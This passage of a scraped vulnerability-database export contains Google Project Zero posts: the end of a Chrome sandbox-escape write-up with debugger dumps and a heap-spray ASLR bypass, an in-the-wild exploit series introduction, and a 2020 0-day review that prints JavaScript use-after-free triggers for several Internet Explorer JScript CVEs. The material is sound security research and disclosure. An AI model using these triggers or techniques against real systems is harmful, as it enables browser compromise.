r10=0000021b30badbf0\n\nr11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470\n\nr14=0000000000000001 r15=0000005ae4ffe3e8\n\niopl=0 nv up ei pl nz na pe nc\n\ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202\n\nchrome!storage::FileSystemOperationRunner::GetMetadata+0x33:\n\n00007ffc`362a1a99 488b4908 mov rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????\n\n0:002> k\n\n# Child-SP RetAddr Call Site\n\n00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed\n\n\u2026\n\n## Step 3: Information Leak\n\nIt\u2019s not much use controlling the data in the free\u2019d object, when we need to be able to put valid pointers in there - so at this point we need to consider how the free\u2019d object is used, and what options we have for replacing the free\u2019d object with a different type of object, essentially turning the use-after-free into a type-confusion in a way that will achieve something useful to us.\n\n** \n**\n\nLooking through objects of the same size in windbg however did not provide any immediate answers - and since most of the methods being called from DoWrite are non-virtual, we actually need quite a large amount of structure to be correct in the replacing object.\n\n** \n**\n\nvoid FileWriterImpl::DoWrite(WriteCallback callback,\n\nuint64_t position,\n\nstd::unique_ptr<BlobDataHandle> blob) {\n\nif (!blob) {\n\nstd::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);\n\nreturn;\n\n}\n\n// FileSystemOperationRunner assumes that positions passed to Write are always\n\n// valid, and will NOTREACHED() if that is not the case, so first check the\n\n// size of the file to make sure the position passed in from the renderer is\n\n// in fact valid.\n\n// Of course the file could still change between checking its size and the\n\n// write operation being started, but this is at least a lot better than the\n\n// old implementation where the renderer only checks against how big it thinks\n\n// the file currently is.\n\noperation_runner_->GetMetadata(\n\nurl_, FileSystemOperation::GET_METADATA_FIELD_SIZE,\n\nbase::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,\n\nbase::Unretained(this),\n\nbase::AdaptCallbackForRepeating(std::move(callback)),\n\nposition, base::Passed(std::move(blob))));\n\n}\n\n** \n**\n\nSo; we\u2019re going to make a non-virtual call to [FileSystemOperationRunner::GetMetadata](<https://chromium.googlesource.com/chromium/src/+/d755a8cf625f40b2b2a4c7e96adb8337b135aa68/storage/browser/fileapi/file_system_operation_runner.cc#174>) with a this pointer taken from inside the free\u2019d object:\n\n** \n**\n\nOperationID FileSystemOperationRunner::GetMetadata(\n\nconst FileSystemURL& url,\n\nint fields,\n\nGetMetadataCallback callback) {\n\nbase::File::Error error = base::File::FILE_OK;\n\nstd::unique_ptr<FileSystemOperation> operation = base::WrapUnique(\n\nfile_system_context_->CreateFileSystemOperation(url, &error));\n\n...\n\n}\n\n** \n**\n\nAnd that will then make a non-virtual call to [FileSystemContext::CreateFileSystemOperation](<https://chromium.googlesource.com/chromium/src/+/1606ab8b04ea62cdbd4243414936168971d6a677/storage/browser/fileapi/file_system_context.cc#524>) with a this pointer taken from inside whatever the previous this pointer pointed to\u2026\n\n** \n**\n\nFileSystemOperation* FileSystemContext::CreateFileSystemOperation(\n\nconst FileSystemURL& url, base::File::Error* error_code) {\n\n...\n\n** \n**\n\nFileSystemBackend* backend = GetFileSystemBackend(url.type());\n\nif (!backend) {\n\nif (error_code)\n\n*error_code = base::File::FILE_ERROR_FAILED;\n\nreturn nullptr;\n\n}\n\n** \n**\n\n...\n\n}\n\n** \n**\n\nWhich will then finally expect to be able to lookup a FileSystemBackend pointer from an std::map contained inside it!\n\n** \n**\n\nFileSystemBackend* FileSystemContext::GetFileSystemBackend(\n\nFileSystemType type) const {\n\nauto found = backend_map_.find(type);\n\nif (found != backend_map_.end())\n\nreturn found->second;\n\nNOTREACHED() << \"Unknown filesystem type: \" << type;\n\nreturn nullptr;\n\n}\n\n** \n**\n\nThis is quite a comprehensive set of constraints. (If we can meet them all, the call to backend->CreateFileSystemOperation is finally a virtual call which would be where we\u2019d hope to achieve a useful side-effect).\n\n** \n**\n\nAfter looking through the types of the same size (0x140 bytes), nothing jumped out as being both easy to allocate in a controlled way, and also overlapping in a compatible way - so we can instead consider an alternative approach. On Windows, the freeing of a heap block doesn\u2019t (immediately) corrupt the data it contains - so if we can groom to make sure that the FileWriterImpl allocation isn\u2019t reused, we can instead replace the FileSystemOperationRunner object directly, and access it through the stale pointer. This reduces one dereference from our constraints, and means we are looking in a different size class (0x80 bytes)\u2026 There are roughly 1000 object types of this size, and again nothing is obviously useful, so maybe we can consider alternative solutions...\n\n## Step 4: Information Leak (round #2)\n\nTired of staring at structure layouts in the debugger, time to consider any alternative we could come up with. The ASLR implementation on Windows means that if the same library is loaded in multiple processes, it will be at the same base address; so any library loaded in the renderer will be loaded at a known address in the browser process.\n\n** \n**\n\nThere are a few objects we could replace the FileSystemOperationRunner with that would line up the FileSystemContext pointer to controlled string data; we could use this to fake the first/begin node of the backend_map_ with a pointer into the data section of one of the modules that we can locate, and there line things up correctly so that we could lookup the first entry. This only required an even smaller set of constraints:\n\n** \n**\n\nptr = getPtr(address)\n\n** \n**\n\ngetUint8(ptr + 0x19) == 0\n\ngetUint32(ptr + 0x20) == 0\n\nobj = getPtr(ptr + 0x28)\n\n** \n**\n\nvtable = getPtr(obj)\n\n** \n**\n\nfunction = getPtr(vtable + 0x38)\n\n** \n**\n\nThe set of addresses which meet these constraints, unfortunately, does not really produce any useful primitives.\n\n## Step 5: ASLR Bypass\n\nHaving almost completely given up, we remembered one of the quirks related to [issue 1642](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1642>), a bug in the Mojo core code. Specifically; when the receiving end of a Mojo connection receives a [DataPipe*Dispatcher](<https://chromium.googlesource.com/chromium/src/+/66e24a8793615bd9d5c238b1745b093090e1f72d/mojo/core/data_pipe_consumer_dispatcher.cc#361>) object, it will immediately map an associated shared memory section (the mapping occurs inside the call to InitializeNoLock).\n\n** \n**\n\nSince there\u2019s no memory or virtual address space limit in the browser process, this suggests that in fact, we may be able to completely bypass ASLR without an information leak if we can simply spray the virtual address space of the browser with shared memory mappings. Note - the renderer limits will still be applied, so we need to find a way to do this without exceeding the renderer limits. This should be fairly trivial from native code running in the renderer; we can simply duplicate handles to the same shared memory page, and repeatedly send them - but it would be nice to stay in Javascript.\n\n** \n**\n\nLooking into the IDL for the MojoHandle interface in MojoJS bindings, we can note that while we can\u2019t clone DataPipe handles, we can clone SharedBuffer handles. \n\n** \n**\n\ninterface MojoHandle {\n\n...\n\n// TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,\n\n// subclasses of MojoHandle and move the following member functions.\n\nMojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);\n\nMojoReadDataResult queryData();\n\nMojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);\n\nMojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);\n\n** \n**\n\n// TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle\n\n// and move the following member functions.\n\nMojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);\n\nMojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);\n\n};\n\n** \n**\n\nUnfortunately, SharedBuffers are used much less frequently in the browser process interfaces, and they\u2019re not automatically mapped when they are deserialized, so they\u2019re less useful for our purposes. However, since both SharedBuffers and DataPipes are backed by the same operating-system level primitives, we can still use this to our advantage; by creating an equal number of DataPipes with small shared memory mappings, and clones of a single, large SharedBuffer, we can then use our arbitrary read-write to swap the backing buffers!\n\n** \n**\n\n\n\n** \n**\n\nAs we can see in the VMMap screenshot above - this is both effective and quick! The first test performed a 16-terabyte spray, which got a bit laggy, but in the real-world about 3.5-terabytes appears sufficient to get a reliable, predictable address. Finally, a chance to cite SkyLined\u2019s exploit for [MS04-040](<https://www.exploit-db.com/exploits/612>) in a modern 64-bit Chrome exploit!\n\n** \n**\n\nA little bit of fiddling later:\n\n** \n**\n\nrax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8\n\nrdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0\n\nrip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88\n\nr8=00000404040400b0 r9=00000002f39fe8e4 r10=00000404040401f0\n\nr11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90\n\nr14=0000000000000001 r15=00000002f39fea08\n\niopl=0 nv up ei pl nz na po nc\n\ncs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206\n\nchrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:\n\n00007ffd`87270258 41ff5238 call qword ptr [r10+38h] ds:00000404`04040228=4141414141414141\n\n## Roadmap\n\nOk, at this point we should have all the heavy machinery that we need - the rest is a matter of engineering. For the detail-oriented; you can find a full, working exploit in the bugtracker, and you should be able to identify the code handling all of the following stages of the exploit:\n\n** \n**\n\n 1. Arbitrary read-write in the renderer\n\n 1. Enable MojoJS bindings\n\n 2. Launch sandbox escape\n\n 2. Sandbox escape\n\n 1. Arbitrary read-write in the renderer (again\u2026)\n\n 2. Locate necessary libraries for pivots and ROP chain in the renderer address space\n\n 3. Build a page of data that we\u2019re going to spray in the browser address space containing fake FileSystemOperationRunner, FileSystemContext, FileSystemBackend objects\n\n 4. Trigger the bug\n\n 5. Replace the free\u2019d FileWriterImpl with a fake object that uses the address that we\u2019ll target with our spray as the FileSystemOperationRunner pointer\n\n 6. Spray ~4tb of copies of the page we built in 2c into the browser process address space\n\n 7. Return from the renderer to FileWriterImpl::DoWrite in the browser process, pivoting into our ROP chain and payload\n\n 8. Pop calc\n\n 9. Clean things up so that the browser can continue running\n\n## Conclusions\n\nIt\u2019s interesting to have another case where we\u2019ve been able to use weaknesses in ASLR implementations to achieve a working exploit without needing an information leak.\n\n** \n**\n\nThere were two key ASLR weaknesses that enabled reliable exploitation of this bug:\n\n * No inter-process randomisation on Windows (which is also a limitation on MacOS/iOS) which enabled locating valid code addresses in the target process without an information-leak.\n\n * No limitations on address-space usage in the Chrome Browser Process, which enabled predicting valid data addresses in the heap-spray.\n\n \n\n\nWithout both of these primitives, it would be more difficult to exploit this vulnerability, and would likely have pushed past available motivation (better to keep looking for a better vulnerability, or an additional information leak since the use-after-free wasn\u2019t readily usable as an information leak).\n", "modified": "2019-04-11T00:00:00", "published": "2019-04-11T00:00:00", "id": "GOOGLEPROJECTZERO:0519E4321416167A439C0603E926B98E", "href": "https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html", "type": "googleprojectzero", "title": "\nVirtually Unlimited Memory: Escaping the Chrome Sandbox\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-01-13T07:24:00", "bulletinFamily": "info", "cvelist": ["CVE-2020-0938", "CVE-2020-1020", "CVE-2020-1027", "CVE-2020-6418"], "description": "This is part 1 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, head to the bottom of this post.\n\nAt Project Zero we often refer to our goal simply as \u201cmake 0-day hard\u201d. Members of the team approach this challenge mainly through the lens of offensive security research. And while we experiment a lot with new targets and methodologies in order to remain at the forefront of the field, it is important that the team doesn\u2019t stray too far from the current state of the art. One of our efforts in this regard is [the tracking](<https://googleprojectzero.blogspot.com/p/0day.html>) of publicly known cases of zero-day vulnerabilities. We use this information to guide the research. Unfortunately, public 0-day reports rarely include captured exploits, which could provide invaluable insight into exploitation techniques and design decisions made by real-world attackers. In addition, we believe there to be [a gap in the security community\u2019s ability to detect 0-day exploits](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>).\n\nTherefore, Project Zero has recently launched our own initiative aimed at researching new ways to detect 0-day exploits in the wild. Through partnering with the Google Threat Analysis Group (TAG), one of the first results of this initiative was the discovery of a watering hole attack in Q1 2020 performed by a highly sophisticated actor. \n\nWe discovered two exploit servers delivering different exploit chains via watering hole attacks. One server targeted Windows users, the other targeted Android. Both the Windows and the Android servers used Chrome exploits for the initial remote code execution. The exploits for Chrome and Windows included 0-days. For Android, the exploit chains used publicly known n-day exploits. Based on the actor's sophistication, we think it's likely that they had access to Android 0-days, but we didn't discover any in our analysis.\n\n[](<https://1.bp.blogspot.com/-zEmmiLETGvY/X_jPzUuqg9I/AAAAAAAAalA/0uFEEpHDwfwPXP_WoxG4Y7L7iUNfVE1FwCNcBGAsYHQ/s1871/itw%2Bdiagram.png>)\n\nFrom the exploit servers, we have extracted:\n\n * Renderer exploits for four bugs in Chrome, one of which was still a 0-day at the time of the discovery.\n * Two sandbox escape exploits abusing three 0-day vulnerabilities in Windows.\n * A \u201cprivilege escalation kit\u201d composed of publicly known n-day exploits for older versions of Android.\n\nThe four 0-days discovered in these chains have been fixed by the appropriate vendors:\n\n * [CVE-2020-6418](<https://googleprojectzero.blogspot.com/p/rca-cve-2020-6418.html>) \\- Chrome Vulnerability in TurboFan (fixed February 2020)\n * [CVE-2020-0938](<https://googleprojectzero.blogspot.com/p/rca-cve-2020-0938.html>) \\- Font Vulnerability on Windows (fixed April 2020)\n * [CVE-2020-1020](<https://googleprojectzero.blogspot.com/p/rca-cve-2020-1020.html>) \\- Font Vulnerability on Windows (fixed April 2020)\n * [CVE-2020-1027](<https://googleprojectzero.blogspot.com/p/rca-cve-2020-1027.html>) \\- Windows CSRSS Vulnerability (fixed April 2020)\n\nWe understand this attacker to be operating a complex targeting infrastructure, though it didn't seem to be used every time. In some cases, the attackers used an initial renderer exploit to develop detailed fingerprints of the users from inside the sandbox. In these cases, the attacker took a slower approach: sending back dozens of parameters from the end users device, before deciding whether or not to continue with further exploitation and use a sandbox escape. In other cases, the attacker would choose to fully exploit a system straight away (or not attempt any exploitation at all). In the time we had available before the servers were taken down, we were unable to determine what parameters determined the \"fast\" or \"slow\" exploitation paths. \n\nThe Project Zero team came together and spent many months analyzing in detail each part of the collected chains. What did we learn? These exploit chains are designed for efficiency & flexibility through their modularity. They are well-engineered, complex code with a variety of novel exploitation methods, mature logging, sophisticated and calculated post-exploitation techniques, and high volumes of anti-analysis and targeting checks. We believe that teams of experts have designed and developed these exploit chains. We hope this blog post series provides others with an in-depth look at exploitation from a real world, mature, and presumably well-resourced actor.\n\nThe posts in this series share the technical details of different portions of the exploit chain, largely focused on what our team found most interesting. We include:\n\n * Detailed analysis of the vulnerabilities being exploited and each of the different exploit techniques,\n * A deep look into the bug class of one of the Chrome exploits, and\n * An in-depth teardown of the Android post-exploitation code.\n\nIn addition, we are posting [root cause analyses ](<https://googleprojectzero.blogspot.com/p/rca.html>)for each of the four 0-days discovered as a part of these exploit chains. \n\nExploitation aside, the modularity of payloads, interchangeable exploitation chains, logging, targeting and maturity of this actor's operation set these apart. We hope that by sharing this information publicly, we are continuing to close the knowledge gap between private exploitation (what well resourced exploitation teams are doing in the real world) and what is publicly known.\n\nWe recommend reading the posts in the following order:\n\n 1. Introduction (this post)\n 2. [Chrome: Infinity Bug](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>)\n 3. [Chrome Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-exploits.html>)\n 4. [Android Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-exploits.html>)\n 5. [Android Post-Exploitation](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-android-post-exploitation.html>)\n 6. [Windows Exploits](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-windows-exploits.html>)\n\nThis is part 1 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To continue reading, see [In The Wild Part 2: Chrome Infinity Bug](<https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html>).\n", "modified": "2021-01-12T00:00:00", "published": "2021-01-12T00:00:00", "id": "GOOGLEPROJECTZERO:7B21B608699A0775A3608934DB89577B", "href": "https://googleprojectzero.blogspot.com/2021/01/introducing-in-wild-series.html", "type": "googleprojectzero", "title": "\nIntroducing the In-the-Wild Series\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-04T19:27:43", "bulletinFamily": "info", "cvelist": ["CVE-2014-9665", "CVE-2015-0093", "CVE-2015-0993", "CVE-2018-8653", "CVE-2019-0880", "CVE-2019-1367", "CVE-2019-13674", "CVE-2019-13695", "CVE-2019-13764", "CVE-2019-1429", "CVE-2019-5870", "CVE-2020-0674", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-15999", "CVE-2020-17008", "CVE-2020-27930", "CVE-2020-6383", "CVE-2020-6572", "CVE-2020-6820", "CVE-2021-1648"], "description": "A Year in Review of 0-days Exploited In-The-Wild in 2020\n\nPosted by Maddie Stone, Project Zero\n\n2020 was a year full of 0-day exploits. Many of the Internet\u2019s most popular browsers had their moment in the spotlight. Memory corruption is still the name of the game and how the vast majority of detected 0-days are getting in. While we tried new methods of 0-day detection with modest success, 2020 showed us that there is still a long way to go in detecting these 0-day exploits in-the-wild. But what may be the most notable fact is that 25% of the 0-days detected in 2020 are closely related to previously publicly disclosed vulnerabilities. In other words, 1 out of every 4 detected 0-day exploits could potentially have been avoided if a more thorough investigation and patching effort were explored. Across the industry, incomplete patches \u2014 patches that don\u2019t correctly and comprehensively fix the root cause of a vulnerability \u2014 allow attackers to use 0-days against users with less effort.\n\nSince mid-2019, Project Zero has dedicated an effort specifically to track, analyze, and learn from 0-days that are actively exploited in-the-wild. For the last 6 years, Project Zero\u2019s mission has been to \u201cmake 0-day hard\u201d. From that came the goal of our in-the-wild program: \u201cLearn from 0-days exploited in-the-wild in order to make 0-day hard.\u201d In order to ensure our work is actually making it harder to exploit 0-days, we need to understand how 0-days are actually being used. Continuously pushing forward the public\u2019s understanding of 0-day exploitation is only helpful when it doesn\u2019t diverge from the \u201cprivate state-of-the-art\u201d, what attackers are doing and are capable of. \n\nOver the last 18 months, we\u2019ve learned a lot about the active exploitation of 0-days and our work has matured and evolved with it. [For the 2nd year in a row](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>), we\u2019re publishing a \u201cYear in Review\u201d report of the previous year\u2019s detected 0-day exploits. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you\u2019re interested in each individual exploit\u2019s analysis, please check out our[ root cause analyses](<https://googleprojectzero.blogspot.com/p/rca.html>). \n\nWhen looking at the 24 0-days detected in-the-wild in 2020, there\u2019s an undeniable conclusion: increasing investment in correct and comprehensive patches is a huge opportunity for our industry to impact attackers using 0-days.\n\nA correct patch is one that fixes a bug with complete accuracy, meaning the patch no longer allows any exploitation of the vulnerability. A comprehensive patch applies that fix everywhere that it needs to be applied, covering all of the variants. We consider a patch to be complete only when it is both correct and comprehensive. When exploiting a single vulnerability or bug, there are often multiple ways to trigger the vulnerability, or multiple paths to access it. Many times we\u2019re seeing vendors block only the path that is shown in the proof-of-concept or exploit sample, rather than fixing the vulnerability as a whole, which would block all of the paths. Similarly, security researchers are often reporting bugs without following up on how the patch works and exploring related attacks.\n\nWhile the idea that incomplete patches are making it easier for attackers to exploit 0-days may be uncomfortable, the converse of this conclusion can give us hope. We have a clear path toward making 0-days harder. If more vulnerabilities are patched correctly and comprehensively, it will be harder for attackers to exploit 0-days.\n\n# This vulnerability looks familiar \ud83e\udd14\n\nAs stated in the introduction, 2020 included 0-day exploits that are similar to ones we\u2019ve seen before. 6 of 24 0-days exploits detected in-the-wild are closely related to publicly disclosed vulnerabilities. Some of these 0-day exploits only had to change a line or two of code to have a new working 0-day exploit. This section explains how each of these 6 actively exploited 0-days are related to a previously seen vulnerability. We\u2019re taking the time to detail each and show the minimal differences between the vulnerabilities to demonstrate that once you understand one of the vulnerabilities, it\u2019s much easier to then exploit another. \n\n\nProduct\n\n| \n\nVulnerability exploited in-the-wild\n\n| \n\nVariant of... \n \n---|---|--- \n \nMicrosoft Internet Explorer\n\n| \n\nCVE-2020-0674\n\n| \n\nCVE-2018-8653* CVE-2019-1367* CVE-2019-1429* \n \nMozilla Firefox\n\n| \n\nCVE-2020-6820\n\n| \n\nMozilla [Bug 1507180](<https://bugzilla.mozilla.org/show_bug.cgi?id=1507180>) \n \nGoogle Chrome\n\n| \n\nCVE-2020-6572\n\n| \n\nCVE-2019-5870\n\nCVE-2019-13695 \n \nMicrosoft Windows\n\n| \n\nCVE-2020-0986\n\n| \n\nCVE-2019-0880* \n \nGoogle Chrome/Freetype\n\n| \n\nCVE-2020-15999\n\n| \n\nCVE-2014-9665 \n \nApple Safari\n\n| \n\nCVE-2020-27930\n\n| \n\nCVE-2015-0093 \n \n* vulnerability was also exploited in-the-wild in previous years \n \n## Internet Explorer JScript CVE-2020-0674\n\nCVE-2020-0674 is the fourth vulnerability that\u2019s been exploited in this bug class in 2 years. The other three vulnerabilities are CVE-2018-8653, CVE-2019-1367, and CVE-2019-1429. In the [2019 year-in-review](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>) we devoted a section to these vulnerabilities. [Google\u2019s Threat Analysis Group attributed](<https://www.blog.google/threat-analysis-group/identifying-vulnerabilities-and-protecting-you-phishing/>) all four exploits to the same threat actor. It bears repeating, the same actor exploited similar vulnerabilities four separate times. For all four exploits, the attacker used the same vulnerability type and the same exact exploitation method. Fixing these vulnerabilities comprehensively the first time would have caused attackers to work harder or find new 0-days.\n\nJScript is the legacy Javascript engine in Internet Explorer. While it\u2019s legacy, [by default it is still enabled](<https://support.microsoft.com/en-us/topic/option-to-disable-jscript-execution-in-internet-explorer-9e3b5ab3-8115-4650-f3d8-e496e7f8e40e>) in Internet Explorer 11, which is a built-in feature of Windows 10 computers. The bug class, or type of vulnerability, is that a specific JScript object, a variable (uses the VAR struct), is not tracked by the garbage collector. I\u2019ve included the code to trigger each of the four vulnerabilities below to demonstrate how similar they are. Ivan Fratric from Project Zero wrote all of the included code that triggers the four vulnerabilities.\n\n### CVE-2018-8653\n\nIn December 2018, it was discovered that [CVE-2018-8653](<https://msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8653>) was being actively exploited. In this vulnerability, the this variable is not tracked by the garbage collector in the isPrototypeof callback. McAfee also wrote a [write-up going through each step of this exploit](<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/>). \n\nvar objs = new Array();\n\nvar refs = new Array();\n\nvar dummyObj = new Object();\n\nfunction getFreeRef()\n\n{\n\n// 5. delete prototype objects as well as ordinary objects\n\nfor ( var i = 0; i < 10000; i++ ) {\n\nobjs[i] = 1;\n\n}\n\nCollectGarbage();\n\nfor ( var i = 0; i < 200; i++ )\n\n{\n\nrefs[i].prototype = 1;\n\n}\n\n// 6. Garbage collector frees unused variable blocks.\n\n// This includes the one holding the \"this\" variable\n\nCollectGarbage();\n\n// 7. Boom\n\nalert(this);\n\n}\n\n// 1. create \"special\" objects for which isPrototypeOf can be invoked\n\nfor ( var i = 0; i < 200; i++ ) {\n\nvar arr = new Array({ prototype: {} });\n\nvar e = new Enumerator(arr);\n\nrefs[i] = e.item();\n\n}\n\n// 2. create a bunch of ordinary objects\n\nfor ( var i = 0; i < 10000; i++ ) {\n\nobjs[i] = new Object();\n\n}\n\n// 3. create objects to serve as prototypes and set up callbacks\n\nfor ( var i = 0; i < 200; i++ ) {\n\nrefs[i].prototype = {};\n\nrefs[i].prototype.isPrototypeOf = getFreeRef;\n\n}\n\n// 4. calls isPrototypeOf. This sets up refs[100].prototype as \"this\" variable\n\n// During callback, the \"this\" variable won't be tracked by the Garbage collector\n\n// use different index if this doesn't work\n\ndummyObj instanceof refs[100]; \n \n--- \n \n### CVE-2019-1367\n\nIn September 2019, [CVE-2019-1367](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1367>) was detected as exploited in-the-wild. This is the same vulnerability type as CVE-2018-8653: a JScript variable object is not tracked by the garbage collector. This time though the variables that are not tracked are in the arguments array in the Array.sort callback.\n\nvar spray = new Array();\n\nfunction F() {\n\n// 2. Create a bunch of objects\n\nfor (var i = 0; i < 20000; i++) spray[i] = new Object();\n\n// 3. Store a reference to one of them in the arguments array\n\n// The arguments array isn't tracked by garbage collector\n\narguments[0] = spray[5000];\n\n// 4. Delete the objects and call the garbage collector\n\n// All JSCript variables get reclaimed... \n\nfor (var i = 0; i < 20000; i++) spray[i] = 1;\n\nCollectGarbage();\n\n// 5. But we still have reference to one of them in the\n\n// arguments array\n\nalert(arguments[0]);\n\n}\n\n// 1. Call sort with a custom callback\n\n[1,2].sort(F); \n \n--- \n \n### CVE-2019-1429\n\nThe CVE-2019-1367 patch did not actually fix the vulnerability triggered by the proof-of-concept above and exploited in the in-the-wild. The proof-of-concept for CVE-2019-1367 still worked even after the CVE-2019-1367 patch was applied! \n\nIn November 2019, Microsoft released another patch to address this gap. [CVE-2019-1429](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2019-1429>) addressed the shortcomings of the CVE-2019-1367 and also fixed a variant. [The variant](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1947>) is that the variables in the arguments array are not tracked by the garbage collector in the toJson callback rather than the Array.sort callback. The only difference between the variant triggers is the highlighted lines. Instead of calling the Array.sort callback, we call the toJSON callback.\n\nvar spray = new Array();\n\nfunction F() {\n\n// 2. Create a bunch of objects\n\nfor (var i = 0; i < 20000; i++) spray[i] = new Object();\n\n// 3. Store a reference to one of them in the arguments array\n\n// The arguments array isn't tracked by garbage collector\n\narguments[0] = spray[5000];\n\n// 4. Delete the objects and call the garbage collector\n\n// All JSCript variables get reclaimed... \n\nfor (var i = 0; i < 20000; i++) spray[i] = 1;\n\nCollectGarbage();\n\n// 5. But we still have reference to one of them in the\n\n// arguments array\n\nalert(arguments[0]);\n\n}\n\n+ // 1. Cause toJSON callback to fire\n\n+ var o = {toJSON:F}\n\n+ JSON.stringify(o);\n\n- // 1. Call sort with a custom callback\n\n- [1,2].sort(F); \n \n--- \n \n### CVE-2020-0674\n\nIn January 2020, [CVE-2020-0674](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-0674>) was detected as exploited in-the-wild. The vulnerability is that the named arguments are not tracked by the garbage collector in the Array.sort callback. The only changes required to the trigger for CVE-2019-1367 is to change the references to arguments[] to one of the arguments named in the function definition. For example, we replaced any instances of arguments[0] with arg1.\n\nvar spray = new Array();\n\n+ function F(arg1, arg2) {\n\n- function F() {\n\n// 2. Create a bunch of objects\n\nfor (var i = 0; i < 20000; i++) spray[i] = new Object();\n\n// 3. Store a reference to one of them in one of the named arguments\n\n// The named arguments aren't tracked by garbage collector\n\n+ arg1 = spray[5000];\n\n- arguments[0] = spray[5000];\n\n// 4. Delete the objects and call the garbage collector\n\n// All JScript variables get reclaimed... \n\nfor (var i = 0; i < 20000; i++) spray[i] = 1;\n\nCollectGarbage();\n\n// 5. But we still have reference to one of them in\n\n// a named argument\n\n+ alert(arg1);\n\n- alert(arguments[0]);\n\n}\n\n// 1. Call sort with a custom callback\n\n[1,2].sort(F); \n \n--- \n \n### CVE-2020-0968\n\nUnfortunately CVE-2020-0674 was not the end of this story, even though it was the fourth vulnerability of this type to be exploited in-the-wild. In April 2020, Microsoft patched [CVE-2020-0968](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968>), another Internet Explorer JScript vulnerability. When the bulletin was first released, it was designated as exploited in-the-wild, but the following day, Microsoft changed this field to say it was not exploited in-the-wild (see the revisions section at the bottom of the [advisory](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2020-0968>)). \n\nvar spray = new Array();\n\nfunction f1() {\n\nalert('callback 1');\n\nreturn spray[6000];\n\n}\n\nfunction f2() {\n\nalert('callback 2');\n\nspray = null;\n\nCollectGarbage();\n\nreturn 'a'\n\n}\n\nfunction boom() {\n\nvar e = o1;\n\nvar d = o2;\n\n// 3. the first callback (e.toString) happens\n\n// it returns one of the string variables\n\n// which is stored in a temporary variable\n\n// on the stack, not tracked by garbage collector\n\n// 4. Second callback (d.toString) happens\n\n// There, string variables get freed\n\n// and the space reclaimed\n\n// 5. Crash happens when attempting to access\n\n// string content of the temporary variable\n\nvar b = e + d;\n\nalert(b);\n\n}\n\n// 1. create two objects with toString callbacks\n\nvar o1 = { toString: f1 };\n\nvar o2 = { toString: f2 };\n\n// 2. create a bunch of string variables\n\nfor (var a = 0; a < 20000; a++) {\n\nspray[a] = \"aaa\";\n\n}\n\nboom(); \n \n--- \n \nIn addition to the vulnerabilities themselves being very similar, the attacker used the same exploit method for each of the four 0-day exploits. This provided a type of \u201cplug and play\u201d quality to their 0-day development which would have reduced the amount of work required for each new 0-day exploit. \n\n## Firefox CVE-2020-6820\n\nMozilla patched [CVE-2020-6820 in Firefox with an out-of-band security update](<https://www.mozilla.org/en-US/security/advisories/mfsa2020-11/>) in April 2020. It is a use-after-free in the Cache subsystem. \n\nCVE-2020-6820 is a use-after-free of the CacheStreamControlParent when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers StreamList::CloseAll. If the StreamControl (must be the Parent which lives in the browser process in order to get the use-after-free in the browser process; the Child would only provide in renderer) still has ReadStreams when StreamList::CloseAll is called, then this will cause the CacheStreamControlParent to be freed. The mId member of the CacheStreamControl parent is then subsequently accessed, causing the use-after-free.\n\nThe execution patch for CVE-2020-6820 is:\n\nStreamList::CloseAll \u2190 Patched function\n\nCacheStreamControlParent::CloseAll\n\nCacheStreamControlParent::NotifyCloseAll\n\nStreamControl::CloseAllReadStreams\n\nFor each 